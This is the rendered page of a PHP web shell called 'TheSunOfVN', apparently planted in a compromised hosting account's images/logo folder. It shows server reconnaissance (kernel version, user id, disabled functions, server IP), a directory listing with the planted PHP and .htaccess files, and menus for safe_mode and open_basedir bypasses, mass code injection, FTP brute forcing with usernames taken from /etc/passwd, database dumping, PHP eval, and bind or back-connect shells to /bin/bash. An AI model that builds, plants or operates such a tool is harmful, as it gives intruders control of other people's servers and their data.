..:: TheSunOfVN ::..

07-09-2010 04:28:35 [ phpinfo ] [ php.ini ] [ Cpu ] [ Memory ] [ Users ] [ Brute ] [ ln -s all ] [ Tools ] [ Mass Code Injection ] [ tmp ]
safe_mode: ON Open_Basedir: NONE Safe_Exec_Dir: NONE Safe_Gid: OFF Safe_Include_Dir: NONE Sql.safe_mode: OFF
PHP version: 5.2.12 cURL: ON MySQL: ON MSSQL: OFF PostgreSQL: OFF Oracle: OFF
Disable functions : show_source, system, shell_exec, passthru, exec, popen, proc_open, allow_url_fopen, mail
Downloaders: fopen
Free space : 80.53 GB Total space: 128.11 GB
Server IP: [ 112.78.2.10 ] -- Your IP: [ 38.107.191.114 ]

uname -a :
sysctl :
$OSTYPE :
Server :
id :
pwd :

Linux mb2d10.vdrs.net 2.6.18-164.el5PAE #1 SMP Thu Sep 3 04:10:44 EDT 2009 i686
-

Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4
uid=612 ( otovnvn ) gid=608 ( otovnvn )
/home/otovnvn/public_html/images/logo ( drwx--x--x )

Executed command: safe_dir

25365407 -rw-r--r-- 1 otovnvn otovnvn 21545 01.11.2009 12:23 090611lex.jpg 25365404 -rw-r--r-- 1 otovnvn otovnvn 17426 01.11.2009 12:23 090703logo.jpg 25365413 -rw-r--r-- 1 otovnvn otovnvn 2939 01.11.2009 12:22 090611images.jpg 25365409 -rw-r--r-- 1 otovnvn otovnvn 11808 01.11.2009 12:23 090703logohai.png 25365412 -rw-r--r-- 1 otovnvn otovnvn 2437 01.11.2009 12:23 090623Nissan_logo.jpg 25365405 -rw-r--r-- 1 otovnvn otovnvn 4124 01.11.2009 12:23 090611toyota.jpg 20545540 -r-------- 1 otovnvn otovnvn 229 20.05.2010 11:49 ini.php 25365403 -rw-r--r-- 1 otovnvn otovnvn 2812 01.11.2009 12:22 090611bmw.jpg 28189923 drwx--x--x 2 otovnvn otovnvn 4096 20.05.2010 11:54 backup 20545541 -r-------- 1 otovnvn otovnvn 35137 20.05.2010 11:54 DuinfoTD.php 20545538 -rw-r--r-- 1 otovnvn otovnvn 35 20.05.2010 11:49 php.ini 20545539 -rw-r--r-- 1 otovnvn otovnvn 90 20.05.2010 11:49 .htaccess 25365410 -rw-r--r-- 1 otovnvn otovnvn 39491 01.11.2009 12:23 090611oto3.jpg 25365408 -rw-r--r-- 1 otovnvn otovnvn 18602 01.11.2009 12:23 090611Mec.jpg 20545537 -r-------- 1 otovnvn otovnvn 55232 20.05.2010 11:48 100520InfoTD.php u--------- 0 root root 01.01.1970 07:00 345.txt 25365411 -rw-r--r-- 1 otovnvn otovnvn 25219 01.11.2009 12:22 090611Adi.jpg 25365406 -rw-r--r-- 1 otovnvn otovnvn 24446 01.11.2009 12:22 090611for.jpg

:: Work in safe_mode ::

Work directory 4

:: read file from PLUGIN ::

where file in server 4

:: Create/Delete File/Dir ::

name 4

:: Chown/Chgrp/Chmod ::

Command 4

param1 4 param2 4

:: Edit files ::

File for edit 4

:: read dir from vul reg_glob ::

read dir 4

:: read dir from vul root ::

read dir 4

:: read file from vul copy() ::

where file in server 4

:: read file from vul ini_restore() ::

where file in server 4

:: Bypass php 5.2.6 ::

Cat file 4

:: Bypass php 5.2.9 ::

Cat file 4

:: PHP Bypass ::

Read File

File : 4

View Dir

Dir : 4

:: DeZender ::

Cat file 4

:: ionCube extension safe_mode bypass ::

Cat file 4

:: Aliases ::

Select alias 4

:: Find text in files ::

Find text 4
In dirs 4	*
Only in files 4	*

:: Test bypass open_basedir with cURL functions ::

Cat file 4

:: read file from vul curl() ::

where file in server 4

:: Eval PHP code ::

:: Upload files on server ::

Local file 4
Local file 4
Local file 4

Local file 4
Local file 4

:: Download files from server ::

file 4
Archivation 4	without archivation zip gzip

:: FTP-bruteforce ::

FTP-server:port 4
	* use username from /etc/passwd for ftp login and password ( Users list )
	Use reverse (user -> resu) login for password

:: Databases ::

Dump database table

Type 4
SQL-Server : Port 4	:
Login : Password 4	:
Db . Table 4	.
Save dump in file 4

Run SQL query

Type 4
SQL-Server : Port 4	:
Login : Password 4	:
Database 4
SQL query 4

:: Net ::

Bind port to /bin/bash

Port 4
Password for access 4
Use 4

back-connect

IP 4
Port 4
Use 4

:: safe_mode off ::

Close safe_mode with php.ini
Close security_mod with .htaccess
write ini.php file to close safe_mode with ini_restore vul

Use 4
Use 4
Use 4

_____TheSunOfVN_____
----------XGroupVN----------

Generation time: 5.0456 seconds